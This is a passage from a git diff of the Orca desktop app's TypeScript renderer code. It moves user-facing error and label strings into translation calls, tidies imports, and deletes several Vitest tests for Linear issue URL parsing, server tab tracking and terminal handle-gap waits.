+      'Xcode Simulator tools are unavailable. Install full Xcode, open it once, then select it with `sudo xcode-select --switch /Applications/Xcode.app/Contents/Developer`.'
+  }
+]
+
+function stripElectronInvokePrefix(raw: string): string {
+  const match = raw.match(/Error invoking remote method '[^']+': Error:\s*(.+)$/s)
+  return match?.[1]?.trim() || raw
+}
+
+/** Path may be blank when status is still resolving — keep a usable command token. */
+function registerPathToken(raw: string | undefined): string {
+  const trimmed = raw?.trim() ?? ''
+  return trimmed.length > 0 ? trimmed : 'orca'
+}
+
+/** Map stable English "Register … to use Orca from …" status details. */
+function formatRegisterCliDetail(normalized: string): string | null {
+  const wsl = normalized.match(/^Register\s*(.*?)\s+to use Orca from WSL\.?$/i)
+  if (wsl) {
+    return translate(
+      'auto.lib.cli.detail.registerForWsl',
+      'Register {{path}} to use Orca from WSL.',
+      { path: registerPathToken(wsl[1]) }
+    )
+  }
+  const terminal = normalized.match(/^Register\s*(.*?)\s+to use Orca from the terminal\.?$/i)
+  if (terminal) {
+    return translate(
+      'auto.lib.cli.detail.registerForTerminal',
+      'Register {{path}} to use Orca from the terminal.',
+      { path: registerPathToken(terminal[1]) }
+    )
+  }
+  const windowsShell = normalized.match(
+    /^Register\s*(.*?)\s+to use Orca from Command Prompt or PowerShell\.?$/i
+  )
+  if (windowsShell) {
+    return translate(
+      'auto.lib.cli.detail.registerForWindowsShell',
+      'Register {{path}} to use Orca from Command Prompt or PowerShell.',
+      { path: registerPathToken(windowsShell[1]) }
+    )
+  }
+  return null
+}
+
+export function formatCliUserFacingDetail(raw: string | null | undefined): string {
+  if (!raw?.trim()) {
+    return ''
+  }
+  const normalized = stripElectronInvokePrefix(raw.trim())
+  const registerCopy = formatRegisterCliDetail(normalized)
+  if (registerCopy) {
+    return registerCopy
+  }
+  for (const known of KNOWN_CLI_DETAILS) {
+    if (typeof known.test === 'string') {
+      if (normalized === known.test || normalized.includes(known.test)) {
+        return translate(known.key, known.fallback)
+      }
+      continue
+    }
+    const match = normalized.match(known.test)
+    if (match) {
+      return translate(known.key, known.fallback, known.vars?.(match, normalized))
+    }
+  }
+  return normalized
+}
+
+export function formatEmulatorAvailabilityUserFacingMessage(
+  raw: string | null | undefined
+): string {
+  if (!raw?.trim()) {
+    return ''
+  }
+  for (const known of KNOWN_IOS_MESSAGES) {
+    if (raw === known.test || raw.includes(known.test)) {
+      return translate(known.key, known.fallback)
+    }
+  }
+  const android = formatAndroidSdkUserFacingMessage(raw)
+  if (android !== raw) {
+    return android
+  }
+  return formatCliUserFacingDetail(raw)
+}
+
+export function formatAndroidSdkUserFacingMessage(raw: string | null | undefined): string {
+  if (!raw?.trim()) {
+    return ''
+  }
+  for (const known of KNOWN_ANDROID_MESSAGES) {
+    if (raw === known.test || raw.includes(known.test)) {
+      return translate(known.key, known.fallback)
+    }
+  }
+  return raw
+}
diff --git a/src/renderer/src/lib/cmd-j-linear-issue-intent.test.ts b/src/renderer/src/lib/cmd-j-linear-issue-intent.test.ts
deleted file mode 100644
index f682969b64b..00000000000
--- a/src/renderer/src/lib/cmd-j-linear-issue-intent.test.ts
+++ /dev/null
@@ -1,73 +0,0 @@
-import { describe, expect, it } from 'vitest'
-import {
-  findLinearIssueWorkspaceLookupIds,
-  isLinearIssueUrlResolutionMatch,
-  parseLinearIssueUrlIntent
-} from '../../../shared/linear/links'
-
-describe('Cmd+J Linear issue intent', () => {
-  it('does not classify names, bare issue keys, or ambiguous URLs as decisive intent', () => {
-    expect(parseLinearIssueUrlIntent('restore-shell-integration')).toBeNull()
-    expect(parseLinearIssueUrlIntent('STA-4084')).toBeNull()
-    expect(parseLinearIssueUrlIntent('https://linear.app/stably/team/STA/all')).toBeNull()
-    expect(
-      parseLinearIssueUrlIntent('https://linear.app.evil.test/stably/issue/STA-4084')
-    ).toBeNull()
-    expect(parseLinearIssueUrlIntent('https://linear.app/foo/bar/issue/STA-4084')).toBeNull()
-    expect(
-      parseLinearIssueUrlIntent('https://linear.app/stably/issue/STA-4084/title/activity')
-    ).toBeNull()
-    expect(
-      parseLinearIssueUrlIntent('https://linear.app/stably/issue/STA-4084%2Fnot-the-identifier')
-    ).toBeNull()
-    expect(
-      parseLinearIssueUrlIntent('https://user@linear.app/stably/issue/STA-4084/title')
-    ).toBeNull()
-  })
-
-  it('includes legacy workspaces that omitted their organization URL key', () => {
-    const intent = { identifier: 'STA-4052', organizationUrlKey: 'stably' }
-
-    expect(
-      findLinearIssueWorkspaceLookupIds(intent, {
-        viewer: {
-          displayName: 'Linear User',
-          email: null,
-          organizationName: 'Saved Linear workspace'
-        },
-        activeWorkspaceId: 'legacy',
-        selectedWorkspaceId: 'legacy',
-        workspaces: [{ id: 'legacy' } as never]
-      })
-    ).toEqual(['legacy'])
-    expect(
-      findLinearIssueWorkspaceLookupIds(intent, {
-        viewer: null,
-        workspaces: [{ id: 'other-workspace', organizationUrlKey: 'other' } as never]
-      })
-    ).toEqual([])
-  })
-
-  it('rejects a lookup from a different identifier or known Linear organization', () => {
-    const intent = { identifier: 'STA-4084', organizationUrlKey: 'stably' }
-
-    expect(
-      isLinearIssueUrlResolutionMatch(intent, {
-        identifier: 'STA-4084',
-        url: 'https://linear.app/stably/issue/STA-4084/title'
-      })
-    ).toBe(true)
-    expect(
-      isLinearIssueUrlResolutionMatch(intent, {
-        identifier: 'STA-9999',
-        url: 'https://linear.app/stably/issue/STA-9999/title'
-      })
-    ).toBe(false)
-    expect(
-      isLinearIssueUrlResolutionMatch(intent, {
-        identifier: 'STA-4084',
-        url: 'https://linear.app/other/issue/STA-4084/title'
-      })
-    ).toBe(false)
-  })
-})
diff --git a/src/renderer/src/lib/desktop-created-server-tabs.test.ts b/src/renderer/src/lib/desktop-created-server-tabs.test.ts
deleted file mode 100644
index 42e9c34056d..00000000000
--- a/src/renderer/src/lib/desktop-created-server-tabs.test.ts
+++ /dev/null
@@ -1,80 +0,0 @@
-import { beforeEach, describe, expect, it, vi } from 'vitest'
-import type * as AgentStatusModule from '@/lib/agent-status/aggregation/worktree-agent-status'
-
-vi.mock('../../../shared/layout-owner-switch', () => ({ ORCA_LAYOUT_OWNER_IS_MAIN: true }))
-vi.mock('sonner', () => ({
-  toast: { info: vi.fn(), success: vi.fn(), error: vi.fn(), warning: vi.fn() }
-}))
-vi.mock('@/components/terminal-pane/pty-transport/delivery/pty-dispatcher', () => ({}))
-
-vi.mock('@/components/terminal-pane/pty-transport/shutdown/pty-shutdown-data-suspension', () => ({
-  restorePtyDataHandlersAfterFailedShutdown: vi.fn(),
-  unregisterPtyDataHandlers: vi.fn()
-}))
-vi.mock('@/lib/agent-status/aggregation/worktree-agent-status', async (importOriginal) => {
-  const actual = await importOriginal<typeof AgentStatusModule>()
-  return { ...actual, detectAgentStatusFromTitle: vi.fn().mockReturnValue(null) }
-})
-
-const mockApi = {
-  worktrees: {
-    remove: vi.fn().mockResolvedValue(undefined),
-    forceDeletePreservedBranch: vi.fn().mockResolvedValue({ deleted: true }),
-    updateMeta: vi.fn().mockResolvedValue({})
-  },
-  pty: { kill: vi.fn().mockResolvedValue(undefined) },
-  runtimeEnvironments: { call: vi.fn().mockResolvedValue({ ok: true, result: {} }) }
-}
-// @ts-expect-error -- minimal window.api stub for the store under test
-globalThis.window = { api: mockApi }
-const storage = new Map<string, string>()
-vi.stubGlobal('localStorage', {
-  getItem: (key: string) => storage.get(key) ?? null,
-  setItem: (key: string, value: string) => storage.set(key, value),
-  removeItem: (key: string) => storage.delete(key)
-})
-
-import { createTestStore, seedStore } from '@/store/testing/app-store-test-fixture'
-import { makeWorktree } from '@/store/slices/worktrees/worktree.test-fixture'
-import {
-  DESKTOP_CREATED_SERVER_TAB_HOLDS,
-  _reloadDesktopCreatedServerTabsForTests,
-  _resetDesktopCreatedServerTabsForTests,
-  noteDesktopCreatedServerTab
-} from './desktop-created-server-tabs'
-
-const ENV = 'web-env-1'
-const WT1 = 'repo1::/path/wt1'
-const WT2 = 'repo1::/path/wt2'
-const held = (workspace: string, id: string): boolean =>
-  DESKTOP_CREATED_SERVER_TAB_HOLDS.isTabHeld(workspace, id)
-
-beforeEach(() => {
-  storage.clear()
-  _resetDesktopCreatedServerTabsForTests()
-})
-
-describe('the desktop-created server tab record', () => {
-  it('drops the removed worktree’s ids when the worktree is removed, and only those', async () => {
-    const store = createTestStore()
-    seedStore(store, {
-      worktreesByRepo: {
-        repo1: [
-          makeWorktree({ id: WT1, repoId: 'repo1', path: '/path/wt1' }),
-          makeWorktree({ id: WT2, repoId: 'repo1', path: '/path/wt2' })
-        ]
-      }
-    })
-    noteDesktopCreatedServerTab(ENV, WT1, 'simulator-1')
-    noteDesktopCreatedServerTab(ENV, WT2, 'simulator-2')
-
-    const result = await store.getState().removeWorktree({ id: WT1, executionHostId: null })
-
-    expect(result).toEqual({ ok: true })
-    expect([held(WT1, 'simulator-1'), held(WT2, 'simulator-2')]).toEqual([false, true])
-    // Gone from this desktop's storage too: a reload brings back only the other worktree's.
-    expect([...storage.values()].join()).not.toContain('simulator-1')
-    _reloadDesktopCreatedServerTabsForTests()
-    expect([held(WT1, 'simulator-1'), held(WT2, 'simulator-2')]).toEqual([false, true])
-  })
-})
diff --git a/src/renderer/src/lib/editor/file-operations/editor-file-operation-provenance.ts b/src/renderer/src/lib/editor/file-operations/editor-file-operation-provenance.ts
index a9ef6e018ad..47607bd0b99 100644
--- a/src/renderer/src/lib/editor/file-operations/editor-file-operation-provenance.ts
+++ b/src/renderer/src/lib/editor/file-operations/editor-file-operation-provenance.ts
@@ -1,23 +1,24 @@
-import { parseExecutionHostId, type ExecutionHostId } from '../../../../../shared/execution-host'
+import { parseExecutionHostId } from '../../../../../shared/execution-host'
+import type { ExecutionHostId } from '../../../../../shared/execution-host'
 import { FLOATING_TERMINAL_WORKTREE_ID } from '../../../../../shared/constants'
 import { parseWorkspaceKey } from '../../../../../shared/workspace-scope'
-import type { AppState } from '@/store/types'
-import type { HostAuthority } from '../../../../../shared/host-authority'
 import { findFolderWorkspaceOwner } from '../../workspace/ownership/folder-workspace-runtime-owner'
 import { resolveOwner } from '../../workspace/ownership/resolve-owner'
-import { captureDirectSshMutationExpectation } from '../../ssh-mutation-expectation'
+import { captureDirectSshMutationExpectation } from '../../../runtime/hosts/ssh/ssh-mutation-expectation'
 import {
   assertWorktreeOperationGenerationSnapshotCurrent,
-  captureWorktreeOperationGenerationSnapshot,
-  type WorktreeOperationGenerationSnapshot
+  captureWorktreeOperationGenerationSnapshot
 } from '../../workspace/ownership/worktree-operation-generation'
+import type { WorktreeOperationGenerationSnapshot } from '../../workspace/ownership/worktree-operation-generation'
 import {
   getFloatingWorkspaceOperationRoute,
   resolveWorktreeOperationRoute,
-  resolveWorktreeOperationRouteResultForHost,
-  type WorktreeOperationRoute,
-  type WorktreeOperationRouteResolution,
-  type WorktreeOperationRouteState
+  resolveWorktreeOperationRouteResultForHost
+} from '../../workspace/ownership/worktree-operation-route'
+import type {
+  WorktreeOperationRoute,
+  WorktreeOperationRouteResolution,
+  WorktreeOperationRouteState
 } from '../../workspace/ownership/worktree-operation-route'
 import { resolveExplicitWorktreeOperationRouteResult } from '../../workspace/ownership/worktree-operation-catalog-route'
 import { resolveQualifiedIndexedFolderWorkspace } from '@/store/folder-workspaces/folder-workspace-record-index'
@@ -26,6 +27,8 @@ import {
   selectDetectedWorktreesByRepo,
   selectWorktreesByRepo
 } from '@/store/workspaces/catalog/workspace-record-fields'
+import type { AppState } from '@/store/types'
+import type { HostAuthority } from '../../../../../shared/host-authority'
 
 export type EditorFileOperationProvenance = {
   generation: WorktreeOperationGenerationSnapshot
diff --git a/src/renderer/src/lib/editor/file-operations/rename-file.ts b/src/renderer/src/lib/editor/file-operations/rename-file.ts
index 4b99de39d32..011388650c2 100644
--- a/src/renderer/src/lib/editor/file-operations/rename-file.ts
+++ b/src/renderer/src/lib/editor/file-operations/rename-file.ts
@@ -7,6 +7,7 @@ import {
   getFileExplorerOperationOwner
 } from '@/components/right-sidebar/file-explorer/navigation/file-explorer-operation-owner'
 import type { FileExplorerOperationOwner } from '@/components/right-sidebar/file-explorer/tree/file-explorer-types'
+import { translate } from '@/i18n/i18n'
 
 /** Strip ipcRenderer.invoke’s remote-method wrapper so toasts show the underlying error. */
 export function extractIpcErrorMessage(err: unknown, fallback: string): string {
@@ -97,7 +98,14 @@ export async function renameFileOnDisk(args: RenameFileArgs): Promise<void> {
       }
     })
   } catch (err) {
-    toast.error(extractIpcErrorMessage(err, `Failed to rename '${existingName}'.`))
+    toast.error(
+      extractIpcErrorMessage(
+        err,
+        translate('components.toastFallbacks.fileRenameFailed', "Failed to rename '{{name}}'.", {
+          name: existingName
+        })
+      )
+    )
   }
   if (refreshDir) {
     await refreshDir(parentDir)
diff --git a/src/renderer/src/lib/files/access/file-owner-runtime-target.ts b/src/renderer/src/lib/files/access/file-owner-runtime-target.ts
index 530608a39cf..2ef0b103023 100644
--- a/src/renderer/src/lib/files/access/file-owner-runtime-target.ts
+++ b/src/renderer/src/lib/files/access/file-owner-runtime-target.ts
@@ -5,11 +5,16 @@ import {
   resolveOwner
 } from '../../workspace/ownership/resolve-owner'
 import type { WorktreeOperationRouteState } from '../../workspace/ownership/worktree-operation-route'
+import { translate } from '@/i18n/i18n'
 
 const LOCAL_TARGET: RuntimeClientTarget = { kind: 'local' }
 
-export const FILE_OWNER_UNRESOLVED_MESSAGE =
-  "Couldn't verify which host owns this file. Reopen the file and try again."
+export function fileOwnerUnresolvedMessage(): string {
+  return translate(
+    'auto.lib.fileOwnerRuntimeTarget.unresolved',
+    "Couldn't verify which host owns this file. Reopen the file and try again."
+  )
+}
 
 /**
  * Transport to the worktree's owner, from its rows alone. `null` when rows disagree, so the caller
@@ -49,7 +54,7 @@ export function requireRuntimeTargetForFileOwner(
 ): RuntimeClientTarget {
   const target = getRuntimeTargetForFileOwner(state, worktreeId, runtimeEnvironmentId)
   if (!target) {
-    throw new Error(FILE_OWNER_UNRESOLVED_MESSAGE)
+    throw new Error(fileOwnerUnresolvedMessage())
   }
   return target
 }
diff --git a/src/renderer/src/lib/files/drop/workspace-file-drag.ts b/src/renderer/src/lib/files/drop/workspace-file-drag.ts
index eb65e641d3a..0d653fd1236 100644
--- a/src/renderer/src/lib/files/drop/workspace-file-drag.ts
+++ b/src/renderer/src/lib/files/drop/workspace-file-drag.ts
@@ -5,6 +5,7 @@ import {
   validateNativeFileDropPaths
 } from '../../../../../shared/file-import/native-file-drop'
 import { measureUtf8ByteLength } from '../../../../../shared/utf8-byte-limits'
+import { translate } from '@/i18n/i18n'
 import {
   isUnresolvedOwnerHostId,
   normalizeExecutionHostId,
@@ -290,7 +291,7 @@ export function getWorkspaceFileDragRejectionMessage(
   reason: WorkspaceFileDragRejectionReason
 ): string {
   if (reason === 'too-many-paths') {
-    return 'Drop contains too many paths.'
+    return translate('components.toastFallbacks.dropTooManyPaths', 'Drop contains too many paths.')
   }
-  return 'Drop path list is too large.'
+  return translate('components.toastFallbacks.dropPathsTooLarge', 'Drop path list is too large.')
 }
diff --git a/src/renderer/src/lib/files/os-open/local-file-manager-label.ts b/src/renderer/src/lib/files/os-open/local-file-manager-label.ts
index 5e57d7a486b..1f86dcd51a6 100644
--- a/src/renderer/src/lib/files/os-open/local-file-manager-label.ts
+++ b/src/renderer/src/lib/files/os-open/local-file-manager-label.ts
@@ -1,3 +1,5 @@
+import { translate } from '@/i18n/i18n'
+
 type LocalFileManager = 'finder' | 'file-explorer' | 'file-manager'
 
 export function getLocalFileManager(userAgent?: string): LocalFileManager {
@@ -15,10 +17,20 @@ export function getLocalFileManager(userAgent?: string): LocalFileManager {
 export function getLocalFileManagerLabel(userAgent?: string): string {
   switch (getLocalFileManager(userAgent)) {
     case 'finder':
-      return 'Finder'
+      return translate('auto.lib.local.file.manager.label.eb052ab0f6', 'Finder')
     case 'file-explorer':
-      return 'File Explorer'
+      return translate('auto.lib.local.file.manager.label.f2aa906c95', 'File Explorer')
     case 'file-manager':
-      return 'File Manager'
+      return translate('auto.lib.local.file.manager.label.8247848395', 'File Manager')
   }
 }
+
+export function getOpenInLocalFileManagerLabel(userAgent?: string): string {
+  return translate('auto.lib.local.file.manager.label.85cc2c844c', 'Open in {{name}}', {
+    name: getLocalFileManagerLabel(userAgent)
+  })
+}
+
+export function getOpenInLocalFileManagerPrefix(): string {
+  return translate('auto.lib.local.file.manager.label.57b632c0bd', 'Open in ')
+}
diff --git a/src/renderer/src/lib/files/os-open/reveal-in-file-manager.ts b/src/renderer/src/lib/files/os-open/reveal-in-file-manager.ts
index b24b3ce6087..1b880105c0c 100644
--- a/src/renderer/src/lib/files/os-open/reveal-in-file-manager.ts
+++ b/src/renderer/src/lib/files/os-open/reveal-in-file-manager.ts
@@ -10,7 +10,7 @@ import {
   showLocalPathOpenBlockedToast,
   type LocalPathOpenOwner
 } from './local-path-open-guard'
-import { getResolvedExecutionHostIdForWorktree } from '../../resolved-worktree-execution-host'
+import { getResolvedExecutionHostIdForWorktree } from '../../workspace/ownership/resolved-worktree-execution-host'
 import type { WorktreeRuntimeOwnerState } from '../../workspace/ownership/worktree-runtime-owner-state'
 import { getConnectionIdFromState } from '../../workspace/ownership/connection-owner-resolution'
 import type { AppState } from '@/store/types'
diff --git a/src/renderer/src/lib/files/search/file-search-selection.test.ts b/src/renderer/src/lib/files/search/file-search-selection.test.ts
deleted file mode 100644
index 5621e0bc89b..00000000000
--- a/src/renderer/src/lib/files/search/file-search-selection.test.ts
+++ /dev/null
@@ -1,30 +0,0 @@
-import { afterEach, describe, expect, it, vi } from 'vitest'
-import {
-  getSelectedTextForFileSearch,
-  registerFileSearchSelectedTextProvider
-} from './file-search-selection'
-
-const unregisterCallbacks: (() => void)[] = []
-
-afterEach(() => {
-  while (unregisterCallbacks.length > 0) {
-    unregisterCallbacks.pop()?.()
-  }
-  vi.restoreAllMocks()
-})
-
-function registerForTest(provider: () => string | null | undefined): void {
-  unregisterCallbacks.push(registerFileSearchSelectedTextProvider(provider))
-}
-
-describe('getSelectedTextForFileSearch', () => {
-  it('unregisters providers so closed editors do not accumulate stale selection readers', () => {
-    registerForTest(() => 'active')
-    const unregister = registerFileSearchSelectedTextProvider(() => 'stale')
-    unregisterCallbacks.push(unregister)
-    expect(getSelectedTextForFileSearch()).toBe('stale')
-    unregister()
-
-    expect(getSelectedTextForFileSearch()).toBe('active')
-  })
-})
diff --git a/src/renderer/src/lib/host-mirror-handle-gap-drain.test.ts b/src/renderer/src/lib/host-mirror-handle-gap-drain.test.ts
deleted file mode 100644
index 826fc13becb..00000000000
--- a/src/renderer/src/lib/host-mirror-handle-gap-drain.test.ts
+++ /dev/null
@@ -1,167 +0,0 @@
-import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
-import { useAppStore } from '@/store'
-import { clearRuntimeEnvironmentConnectionGenerations as clearRuntimeEnvironmentConnectionGenerationsForTests } from '@/store/slices/runtime-status/runtime-status-connection-generation'
-import {
-  HOST_MIRROR_HANDLE_GAP_DEADLINE_MS,
-  countParkedHostMirrorHandleGapPanesForTests,
-  hasHostMirrorHandleWaitExpired,
-  parkUntilHostMirrorHandleLands,
-  resetHostMirrorHandleGapWaitsForTests
-} from './host-mirror-handle-gap-wait'
-import { makeTerminalTab } from '../store/terminals/terminal-row.test-fixture'
-
-// Cover store-drain and deadline replays directly: one pane’s throw must not escape to mirror apply, sibling waiters or later subscribers; re-entry must not replay or release stale snapshots.
-
-const ENVIRONMENT_ID = 'env-handle-gap-drain'
-const WORKTREE_ID = 'repo-1::/workspace/repo'
-const FIRST_TAB_ID = 'web-terminal-host-tab-1'
-const SECOND_TAB_ID = 'web-terminal-host-tab-2'
-
-const initialAppStoreState = useAppStore.getState()
-
-function seedRows(): void {
-  // Seed the PTY binding held at park time: production cannot park an unbound pane, whose verdict refuses to answer.
-  useAppStore.setState({
-    ptyIdsByTabId: {},
-    tabsByWorktree: {
-      [WORKTREE_ID]: [
-        makeTerminalTab({ id: FIRST_TAB_ID, worktreeId: WORKTREE_ID, title: 'one' }),
-        makeTerminalTab({ id: SECOND_TAB_ID, worktreeId: WORKTREE_ID, title: 'two' })
-      ]
-    },
-    terminalLayoutsByTabId: {
-      [FIRST_TAB_ID]: {
-        root: { type: 'leaf', leafId: 'leaf-1' },
-        activeLeafId: 'leaf-1',
-        expandedLeafId: null,
-        ptyIdsByLeafId: { 'leaf-1': `remote:${ENVIRONMENT_ID}@@term_1` }
-      },
-      [SECOND_TAB_ID]: {
-        root: { type: 'leaf', leafId: 'leaf-2' },
-        activeLeafId: 'leaf-2',
-        expandedLeafId: null,
-        ptyIdsByLeafId: { 'leaf-2': `remote:${ENVIRONMENT_ID}@@term_2` }
-      }
-    }
-  })
-}
-
-/** The host publishes both panes' PTY handles on one frame: both waiters come due together. */
-function publishBothHandles(): void {
-  useAppStore.setState({
-    ptyIdsByTabId: {
-      [FIRST_TAB_ID]: [`remote:${ENVIRONMENT_ID}@@term_1`],
-      [SECOND_TAB_ID]: [`remote:${ENVIRONMENT_ID}@@term_2`]
-    }
-  })
-}
-
-describe('host-mirror handle-gap drain', () => {
-  beforeEach(() => {
-    vi.useFakeTimers()
-    // Replay throws are intentional; silence the warning while testing their isolation.
-    vi.spyOn(console, 'warn').mockImplementation(() => {})
-    resetHostMirrorHandleGapWaitsForTests()
-    clearRuntimeEnvironmentConnectionGenerationsForTests()
-    seedRows()
-  })
-
-  afterEach(() => {
-    vi.restoreAllMocks()
-    resetHostMirrorHandleGapWaitsForTests()
-    clearRuntimeEnvironmentConnectionGenerationsForTests()
-    useAppStore.setState(initialAppStoreState, true)
-    vi.useRealTimers()
-  })
-
-  // Zustand notifies synchronously; an unguarded replay throw would abort mirror setState, sibling replays and later subscribers.
-  it('does not let one pane’s replay throw reach the store write, its siblings, or later listeners', () => {
-    const siblingReplay = vi.fn()
-    parkUntilHostMirrorHandleLands(ENVIRONMENT_ID, WORKTREE_ID, FIRST_TAB_ID, () => {
-      throw new Error('replay blew up')
-    })
-    parkUntilHostMirrorHandleLands(ENVIRONMENT_ID, WORKTREE_ID, SECOND_TAB_ID, siblingReplay)
-    expect(countParkedHostMirrorHandleGapPanesForTests()).toBe(2)
-
-    // Registered after this module's subscription, so it is notified after the drain.
-    const laterListener = vi.fn()
-    const unsubscribe = useAppStore.subscribe(laterListener)
-
-    expect(() => publishBothHandles()).not.toThrow()
-    unsubscribe()
-
-    expect(siblingReplay).toHaveBeenCalledTimes(1)
-    expect(laterListener).toHaveBeenCalledTimes(1)
-    expect(countParkedHostMirrorHandleGapPanesForTests()).toBe(0)
-    // Both deadlines are cancelled, so neither pane can record an expiry it did not earn.
-    expect(vi.getTimerCount()).toBe(0)
-    vi.advanceTimersByTime(HOST_MIRROR_HANDLE_GAP_DEADLINE_MS * 2)
-    expect(hasHostMirrorHandleWaitExpired(ENVIRONMENT_ID, FIRST_TAB_ID)).toBe(false)
-    expect(hasHostMirrorHandleWaitExpired(ENVIRONMENT_ID, SECOND_TAB_ID)).toBe(false)
-  })
-
-  // A createTab replay re-enters the drain synchronously; one frame must release each pane at most once even if it re-parks.
-  it('replays a pane once per store write even when an earlier replay re-enters the drain', () => {
-    const siblingReplay = vi.fn(() => {
-      // What the real replay does when the sweep still finds the pane undecided.
-      parkUntilHostMirrorHandleLands(ENVIRONMENT_ID, WORKTREE_ID, SECOND_TAB_ID, siblingReplay)
-    })
-    parkUntilHostMirrorHandleLands(ENVIRONMENT_ID, WORKTREE_ID, FIRST_TAB_ID, () => {
-      // Re-enter through subscribed tab/PTY slices; clearSleepingAgentSession alone would be filtered out.
-      useAppStore.setState({ tabsByWorktree: { ...useAppStore.getState().tabsByWorktree } })
-    })
-    parkUntilHostMirrorHandleLands(ENVIRONMENT_ID, WORKTREE_ID, SECOND_TAB_ID, siblingReplay)
-
-    publishBothHandles()
-
-    expect(siblingReplay).toHaveBeenCalledTimes(1)
-    expect(countParkedHostMirrorHandleGapPanesForTests()).toBe(1)
-    expect(vi.getTimerCount()).toBe(1)
-  })
-
-  // Orphan adoption can mutate a still-parked waiter’s workspace in place during another replay; identity checks alone cannot detect its obsolete retraction verdict.
-  it('does not release on retraction evidence a mid-drain adoption has already made stale', () => {
-    const adoptedReplay = vi.fn()
-    const ADOPTING_WORKTREE_ID = 'repo-1::/workspace/adopted'
-    useAppStore.setState({
-      tabsByWorktree: {
-        [ADOPTING_WORKTREE_ID]: [
-          makeTerminalTab({ id: FIRST_TAB_ID, worktreeId: ADOPTING_WORKTREE_ID, title: 'one' }),
-          makeTerminalTab({ id: SECOND_TAB_ID, worktreeId: ADOPTING_WORKTREE_ID, title: 'two' })
-        ]
-      }
-    })
-    // Map order makes adoption invalidate the next waiter’s snapshot before release; reversing order must fail the case.
-    parkUntilHostMirrorHandleLands(ENVIRONMENT_ID, ADOPTING_WORKTREE_ID, FIRST_TAB_ID, () => {
-      // The adopting workspace re-parks its newly owned pane without any launch/store write.
-      parkUntilHostMirrorHandleLands(
-        ENVIRONMENT_ID,
-        ADOPTING_WORKTREE_ID,
-        SECOND_TAB_ID,
-        adoptedReplay
-      )
-    })
-    parkUntilHostMirrorHandleLands(ENVIRONMENT_ID, WORKTREE_ID, SECOND_TAB_ID, adoptedReplay)
-
-    // The absent second tab reads as retracted; adoption above invalidates that snapshot before release.
-    useAppStore.setState({
-      ptyIdsByTabId: { [FIRST_TAB_ID]: [`remote:${ENVIRONMENT_ID}@@term_1`] }
-    })
-
-    expect(adoptedReplay).not.toHaveBeenCalled()
-    expect(countParkedHostMirrorHandleGapPanesForTests()).toBe(1)
-  })
-
-  // Deadline replay throws must stay isolated but retain expiry evidence, or every failure would get a fresh wait forever.
-  it('records the expiry of a pane whose replay throws and still frees the pane', () => {
-    parkUntilHostMirrorHandleLands(ENVIRONMENT_ID, WORKTREE_ID, FIRST_TAB_ID, () => {
-      throw new Error('replay blew up')
-    })
-
-    expect(() => vi.advanceTimersByTime(HOST_MIRROR_HANDLE_GAP_DEADLINE_MS)).not.toThrow()
-
-    expect(hasHostMirrorHandleWaitExpired(ENVIRONMENT_ID, FIRST_TAB_ID)).toBe(true)
-    expect(countParkedHostMirrorHandleGapPanesForTests()).toBe(0)
-    expect(vi.getTimerCount()).toBe(0)
-  })
-})
diff --git a/src/renderer/src/lib/host-mirror-handle-gap-resume.test.ts b/src/renderer/src/lib/host-mirror-handle-gap-resume.test.ts
deleted file mode 100644
index e1a93a90a01..00000000000
--- a/src/renderer/src/lib/host-mirror-handle-gap-resume.test.ts
+++ /dev/null
@@ -1,568 +0,0 @@
-import path from 'node:path'
-import { applyWebSessionTabsSnapshot } from '@/runtime/web-session-tabs-sync/snapshot-api'
-import {
-  makeSnapshot,
-  resetWebSessionTabsSyncTestState
-} from '@/runtime/web-session-tabs-sync/testing/web-session-tabs-sync.test-fixture'
-import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
-import { useAppStore } from '@/store'
-import type { AppState } from '@/store/types'
-import { resumeSleepingAgentSessionsForWorktree } from './agent-session/resume/resume-sleeping-agent-session'
-import { makeCreatedAgentWorktree } from '@/lib/workspace/activation/worktree-activation-created-agent.test-fixture'
-import { makePaneKey } from '../../../shared/workspace-layout/stable-pane-id'
-import {
-  markHostSessionMirrorHydrated,
-  resetHostSessionMirrorHydrationForTests
-} from '@/runtime/web-session-tabs-sync/hydration/host-session-mirror-hydration'
-import {
-  clearRuntimeEnvironmentConnectionGenerations as clearRuntimeEnvironmentConnectionGenerationsForTests,
-  setRuntimeEnvironmentConnectionGenerationForTests
-} from '@/store/slices/runtime-status/runtime-status-connection-generation'
-import type { RuntimeEnvironmentStatus } from '../../../shared/remote-runtime/host-status/runtime-host-status'
-import {
-  HOST_MIRROR_HANDLE_GAP_DEADLINE_MS,
-  countParkedHostMirrorHandleGapPanesForTests,
-  hasHostMirrorHandleWaitExpired,
-  resetHostMirrorHandleGapWaitsForTests
-} from './host-mirror-handle-gap-wait'
-import { makeTerminalTab } from '../store/terminals/terminal-row.test-fixture'
-
-// Published rows without handles are unverifiable, never exited (ssh-execution-boundary.md). Assert the ORIGINAL deadline: accidental release/re-park looks identical but silently restarts its budget.
-
-const initialAppStoreState = useAppStore.getState()
-
-const LEAF_ID = '22222222-2222-4222-8222-222222222222'
-const WEB_TAB_ID = 'web-terminal-host-tab-1'
-const SECOND_LEAF_ID = '33333333-3333-4333-8333-333333333333'
-const SIBLING_LEAF_ID = '44444444-4444-4444-8444-444444444444'
-const SECOND_TAB_ID = 'web-terminal-host-tab-2'
-const RUNTIME_ENV_ID = 'env-handle-gap'
-
-function makeRuntimeOwnedWorktree(): ReturnType<typeof makeCreatedAgentWorktree> {
-  return {
-    ...makeCreatedAgentWorktree(),
-    createdWithAgent: undefined,
-    hostId: `runtime:${encodeURIComponent(RUNTIME_ENV_ID)}`
-  }
-}
-
-function seedMirroredWorkspace(worktree: ReturnType<typeof makeCreatedAgentWorktree>): void {
-  const state: Partial<AppState> = {
-    repos: [
-      {
-        id: 'repo-1',
-        path: path.join(path.sep, 'workspace', 'repo'),
-        displayName: 'repo',
-        badgeColor: '#000000',
-        addedAt: 0
-      }
-    ],
-    worktreesByRepo: { 'repo-1': [worktree] },
-    activeRepoId: 'repo-1',
-    activeWorktreeId: worktree.id,
-    activeView: 'terminal',
-    tabsByWorktree: {
-      [worktree.id]: [makeTerminalTab({ id: WEB_TAB_ID, worktreeId: worktree.id, title: 'Claude' })]
-    },
-    terminalLayoutsByTabId: {
-      [WEB_TAB_ID]: {
-        root: { type: 'leaf', leafId: LEAF_ID },
-        activeLeafId: LEAF_ID,
-        expandedLeafId: null,
-        ptyIdsByLeafId: { [LEAF_ID]: 'remote:env-handle-gap@@term_1' }
-      }
-    },
